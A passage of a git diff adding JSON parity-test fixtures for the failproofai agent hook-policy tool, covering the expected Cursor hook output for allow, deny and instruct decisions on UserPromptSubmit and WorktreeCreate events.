+1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2c870536 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0e92dbb0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c489dda6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dab907c4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cc4d9a00 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..22c068a4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..25dece55 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7d239f22 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..447e6b0e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d742e41b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..696c3868 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..13af4cb6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..afe04a9e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dd5427d3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..dad2b2fd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8c77e5ba --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..363b46d6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ 